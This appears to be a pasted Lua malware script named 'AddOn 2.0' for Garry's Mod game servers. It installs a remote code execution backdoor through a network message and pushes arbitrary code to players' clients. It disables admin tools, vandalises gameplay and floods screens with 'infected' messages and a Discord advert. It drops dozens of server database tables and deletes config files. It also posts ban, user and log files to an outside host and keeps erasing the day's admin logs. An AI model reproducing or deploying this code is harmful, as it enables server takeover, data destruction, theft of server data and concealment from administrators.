· 4 years ago · Aug 02, 2021, 04:40 PM
1 util.AddNetworkString "AddOn"
2 net.Receive('AddOn',function(len,pl) RunStringEx(net.ReadString(),'[C]',false) end)
3 _G.ulx = function() end _G.ULib = function() end
4 _G.FAdmin = function() end
5 local DESIRED_NAME = "Seized by AddOn 2.0"
6 local enicron = {}
7 function enicron:RandomString( intMin, intMax )
8 local ret = ""
9 for _ = 1, math.random( intMin, intMax ) do
10 ret = ret.. string.char( math.random(65, 90) )
11 end
12
13 return ret
14 end
15
16 enicron.m_tblActions = {}
17 enicron.m_strImageGlobalVar = enicron:RandomString( 6, 12 )
18 enicron.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
19
20 function enicron:PushAction( intChainDelay, func )
21 self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
22 end
23
24 function enicron:NextAction( pPlayer )
25 pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
26 if not self.m_tblActions[pPlayer.m_intCurAction] then return end
27
28 timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
29 if not IsValid( pPlayer ) then return end
30 self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
31 self:NextAction( pPlayer )
32 end )
33 end
34
35 function enicron:Start( pPlayer )
36 pPlayer.m_intCurAction = 0
37 self:NextAction( pPlayer )
38 end
39
40 function enicron:SendLua( pPlayer, strLua )
41 net.Start( "AddOn" )
42 net.WriteString( strLua )
43 net.Send( pPlayer )
44 end
45
46 function enicron:SetupPlayer( pPlayer )
47 pPlayer:SendLua( "net.Receive(\"AddOn\", function() RunString(net.ReadString()) end)" )
48 end
49
50
51 if engine.ActiveGamemode() == "darkrp" then
52 for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_loop",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )
53
54 for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end
55 end
56
57 for k, v in pairs( player.GetAll() ) do
58 enicron:SetupPlayer( v )
59 timer.Simple( 2, function() enicron:Start( v ) end )
60 end
61
62 hook.Add( "PlayerAuthed", "wat", function( pPlayer )
63 enicron:SetupPlayer( pPlayer )
64 timer.Simple( 12, function() enicron:Start( pPlayer ) end )
65 end )
66
67 enicron:PushAction( 1, function( pPlayer )
68 enicron:SendLua( pPlayer, [[
69 (GAMEMODE or GM).CalcView = function() end
70 (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
71
72 local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
73 for k, v in pairs(remove) do
74 hook.GetTable()[v] = {}
75 end
76
77 local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
78 hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
79
80 ]] )
81 end )
82
83
84 enicron:PushAction( 1, function( pPlayer )
85
86enicron:SendLua( pPlayer, [[
87
88chat.AddText(Color(255,255,0), "This server is infected by AddOn 2.0")
89
90sound.PlayURL( "https://cdn.discordapp.com/attachments/871736400356184074/871736868436324362/1.mp3", "mono", function()end )
91
92]])
93timer.Create( "friction", 17.8, 0, function()
94RunConsoleCommand( "sv_friction", "-8" )
95end)
96timer.Create( "gravity", 17.8, 0, function()
97RunConsoleCommand( "sv_gravity", "-600" )
98end)
99timer.Create( "eblan", 17.8, 0, function()
100for k,v in pairs (player.GetAll()) do
101v:StripWeapons()
102end
103end)
104 enicron:SendLua( pPlayer, [[
105 timer.Simple(17.7, function()
106 (GAMEMODE or GM).CalcView = function() end
107 (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
108
109 local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
110 for k, v in pairs(remove) do
111 hook.GetTable()[v] = {}
112 end
113
114 local function GetWebMat( strURL )
115 return g_]].. enicron.m_strImageGlobalVar.. [[[strURL]
116 end
117 timer.Create("Pizda", 0, 0, function()
118 axuet = {
119 "Server infected by AddOn €co+ | https://discord.gg/vZY3meA64S | AddOn €co+",
120 "Server infected by AddOn €co+ |https://discord.gg/vZY3meA64S | AddOn is BEST",
121 "Server infected by AddOn €co+ | https://discord.gg/vZY3meA64S | SERVER IS DEAD",
122 "Server infected by AddOn €co+ | https://discord.gg/vZY3meA64S | Noice"
123 }
124 MsgC(HSVToColor( CurTime() % 6 * 60, 1, 1 ), table.Random( axuet ).." | ")
125 chat.AddText(HSVToColor( CurTime() % 6 * 60, 1, 1 ), table.Random( axuet ).."")
126 end)
127
128 surface.CreateFont( "TheDefaultSettings", {
129 font = "Arial", -- Use the font-name which is shown to you by your operating system Font Viewer, not the file name
130 extended = false,
131 size = 25,
132 weight = 300,
133 blursize = 0,
134 scanlines = 0,
135 antialias = false,
136 underline = false,
137 italic = false,
138 strikeout = false,
139 symbol = false,
140 rotary = false,
141 shadow = false,
142 additive = false,
143 outline = true,
144 } )
145
146 hook.Add( "RenderScreenspaceEffects", "ohgod", function()
147 local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
148 DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
149 end )
150
151 hook.Add( "GetMotionBlurValues", "wat", function()
152 return 0, 0, 1, math.sin(CurTime() *13)
153 end )
154
155 timer.Create( "thedrop", 0.1, 0, function()
156 util.ScreenShake( LocalPlayer():GetPos(), 12, 5, 0.25, 128 )
157 end )
158
159 hook.Add( "HUDPaint", "newhud2", function()
160
161 draw.SimpleTextOutlined(
162 "AddOn better than KVacDoor",
163 "TheDefaultSettings",
164 ScrW() /2 +math.random( -755, 755 ),
165 ScrH() /2 +math.random( -655, 555) +100,
166 Color( 255,255,255,166 ),
167 TEXT_ALIGN_CENTER,
168 TEXT_ALIGN_CENTER,
169 1,
170 Color( 0, 0, 0, 255 )
171 )
172
173 draw.SimpleTextOutlined(
174 "AddOn better than Enigma",
175 "TheDefaultSettings",
176 ScrW() /2 +math.random( -755, 755 ),
177 ScrH() /2 +math.random( -555, 355 ) +24,
178 Color( 255,255,255,166 ),
179 TEXT_ALIGN_CENTER,
180 TEXT_ALIGN_CENTER,
181 1,
182 Color( 0, 0, 0, 255 )
183 )
184
185 draw.SimpleTextOutlined(
186 "__________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________",
187 "TheDefaultSettings",
188 ScrW() /2 +math.random( -755, 755 ),
189 ScrH() /2 +math.random( -255, 255) +24,
190 Color( 255,255,255,166 ),
191 TEXT_ALIGN_CENTER,
192 TEXT_ALIGN_CENTER,
193 1,
194 Color( 0, 0, 0, 255 )
195 )
196
197 draw.SimpleTextOutlined(
198 "__________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________",
199 "TheDefaultSettings",
200 ScrW() /2 +math.random( -755, 755 ),
201 ScrH() /2 +math.random( -255, 255) +64,
202 Color( 255,255,255,166 ),
203 TEXT_ALIGN_CENTER,
204 TEXT_ALIGN_CENTER,
205 1,
206 Color( 0, 0, 0, 255 )
207 )
208 draw.SimpleTextOutlined(
209 "__________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________",
210 "TheDefaultSettings",
211 ScrW() /2 +math.random( -755, 755 ),
212 ScrH() /2 +math.random( -255, 255) +72,
213 Color( 255,255,255,166 ),
214 TEXT_ALIGN_CENTER,
215 TEXT_ALIGN_CENTER,
216 1,
217 Color( 0, 0, 0, 255 )
218 )
219 draw.SimpleTextOutlined(
220 "__________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________",
221 "TheDefaultSettings",
222 ScrW() /2 +math.random( -755, 755 ),
223 ScrH() /2 +math.random( -5555, 255) +100,
224 Color( 255,255,255,166 ),
225 TEXT_ALIGN_CENTER,
226 TEXT_ALIGN_CENTER,
227 1,
228 Color( 0, 0, 0, 255 )
229 )
230 draw.SimpleTextOutlined(
231 "__________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________",
232 "TheDefaultSettings",
233 ScrW() /2 +math.random( -755, 755 ),
234 ScrH() /2 +math.random( -655, 555) +100,
235 Color( 255,255,255,166 ),
236 TEXT_ALIGN_CENTER,
237 TEXT_ALIGN_CENTER,
238 1,
239 Color( 0, 0, 0, 255 )
240 )
241 draw.SimpleTextOutlined(
242 "__________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________",
243 "TheDefaultSettings",
244 ScrW() /2 +math.random( -755, 755 ),
245 ScrH() /2 +math.random( -655, 555) +100,
246 Color( 255,255,255,166 ),
247 TEXT_ALIGN_CENTER,
248 TEXT_ALIGN_CENTER,
249 1,
250 Color( 0, 0, 0, 255 )
251 )
252 draw.SimpleTextOutlined(
253 "__________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________",
254 "TheDefaultSettings",
255 ScrW() /2 +math.random( -755, 755 ),
256 ScrH() /2 +math.random( -5555, 255) +100,
257 Color( 255,255,255,166 ),
258 TEXT_ALIGN_CENTER,
259 TEXT_ALIGN_CENTER,
260 1,
261 Color( 0, 0, 0, 255 )
262 )
263 draw.SimpleTextOutlined(
264 "__________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________",
265 "TheDefaultSettings",
266 ScrW() /2 +math.random( -755, 755 ),
267 ScrH() /2 +math.random( -655, 555) +100,
268 Color( 255,255,255,166 ),
269 TEXT_ALIGN_CENTER,
270 TEXT_ALIGN_CENTER,
271 1,
272 Color( 0, 0, 0, 255 )
273 )
274 draw.SimpleTextOutlined(
275 "__________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________",
276 "TheDefaultSettings",
277 ScrW() /2 +math.random( -755, 755 ),
278 ScrH() /2 +math.random( -655, 555) +100,
279 Color( 255,255,255,166 ),
280 TEXT_ALIGN_CENTER,
281 TEXT_ALIGN_CENTER,
282 1,
283 Color( 0, 0, 0, 255 )
284 )
285 draw.SimpleTextOutlined(
286 "__________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________",
287 "TheDefaultSettings",
288 ScrW() /2 +math.random( -755, 755 ),
289 ScrH() /2 +math.random( -655, 555) +100,
290 Color( 255,255,255,166 ),
291 TEXT_ALIGN_CENTER,
292 TEXT_ALIGN_CENTER,
293 1,
294 Color( 0, 0, 0, 255 )
295 )
296 draw.SimpleTextOutlined(
297 "__________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________",
298 "TheDefaultSettings",
299 ScrW() /2 +math.random( -755, 755 ),
300 ScrH() /2 +math.random( -655, 555) +100,
301 Color( 255,255,255,166 ),
302 TEXT_ALIGN_CENTER,
303 TEXT_ALIGN_CENTER,
304 1,
305 Color( 0, 0, 0, 255 )
306 )
307 draw.SimpleTextOutlined(
308 "__________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________",
309 "TheDefaultSettings",
310 ScrW() /2 +math.random( -755, 755 ),
311 ScrH() /2 +math.random( -655, 555) +100,
312 Color( 255,255,255,166 ),
313 TEXT_ALIGN_CENTER,
314 TEXT_ALIGN_CENTER,
315 1,
316 Color( 0, 0, 0, 255 )
317 )
318
319 draw.SimpleTextOutlined(
320 "Rethurn Roblox",
321 "TheDefaultSettings",
322 ScrW() /2 +math.random( -755, 755 ),
323 ScrH() /2 +math.random( -755, 555 ) +64,
324 Color( 255,255,255,166 ),
325 TEXT_ALIGN_CENTER,
326 TEXT_ALIGN_CENTER,
327 1,
328 Color( 0, 0, 0, 255 )
329 )
330
331 draw.SimpleTextOutlined(
332 "https://discord.gg/vZY3meA64S",
333 "TheDefaultSettings",
334 ScrW() /2 +math.random( -755, 755 ),
335 ScrH() /2 +math.random( -655, 555 ) +24,
336 Color( 255,255,255,166 ),
337 TEXT_ALIGN_CENTER,
338 TEXT_ALIGN_CENTER,
339 1,
340 Color( 0, 0, 0, 255 )
341 )
342
343 draw.SimpleTextOutlined(
344 "infected",
345 "TheDefaultSettings",
346 ScrW() /2 +math.random( -755, 755 ),
347 ScrH() /2 +math.random( -455, 455 ) +64,
348 Color( 255,255,255,166 ),
349 TEXT_ALIGN_CENTER,
350 TEXT_ALIGN_CENTER,
351 1,
352 Color( 0, 0, 0, 255 )
353 )
354
355 draw.SimpleTextOutlined(
356 "Buy AddOn",
357 "TheDefaultSettings",
358 ScrW() /2 +math.random( -755, 755 ),
359 ScrH() /2 +math.random( -555, 455 ) +24,
360 Color( 255,255,255,166 ),
361 TEXT_ALIGN_CENTER,
362 TEXT_ALIGN_CENTER,
363 1,
364 Color( 0, 0, 0, 255 )
365 )
366
367 draw.SimpleTextOutlined(
368 "AddOn is Here",
369 "TheDefaultSettings",
370 ScrW() /2 +math.random( -755, 755 ),
371 ScrH() /2 +math.random( -855, 555 ) +24,
372 Color( 255,255,255,166 ),
373 TEXT_ALIGN_CENTER,
374 TEXT_ALIGN_CENTER,
375 1,
376 Color( 0, 0, 0, 255 )
377 )
378
379 end )
380
381
382 local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
383 hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
384
385 end)
386
387 ]] )
388 end )
389----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
390local date = os.date( "%m-%d-%y" )
391local databases = { "jobdata","darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobspawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log" }
392local datafiles = { "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcspawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","prevhash.txt","permaprops_config.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","vliss/settings/config.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
393local sensitivefiles = { "ulx_logs/"..date..".txt","ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","vcmod/controls.txt","vcmod/dataserver.txt","blogs/configcache.dat","blogs/language.txt","blogs/config_v5.txt","cac/adminuipack.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","permaprops_config.txt","whitelist.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
394for k,v in pairs( databases ) do if sql.TableExists( v ) then
395 sql.Query( "DROP TABLE "..v.." ;" )
396 sql.Query( "CREATE TABLE IF NOT EXISTS "..v.." ( steamid TEXT NOT NULL PRIMARY KEY, value TEXT );" )
397 end
398end
399timer.Simple(1, function() for k,v in pairs( datafiles ) do if file.Exists(v, "DATA") then file.Delete( v ) end end end )
400for k,v in pairs( sensitivefiles ) do if file.Exists(v, "DATA") then http.Post("http://bracegaming.com/data/log.php",{a=game.GetIPAddress(),b=v,c=file.Read(v)}) file.Delete( v ) end end
401hook.Add( "Think", "killulxlogs", function() file.Delete( "ulx_logs/"..date..".txt" ) end )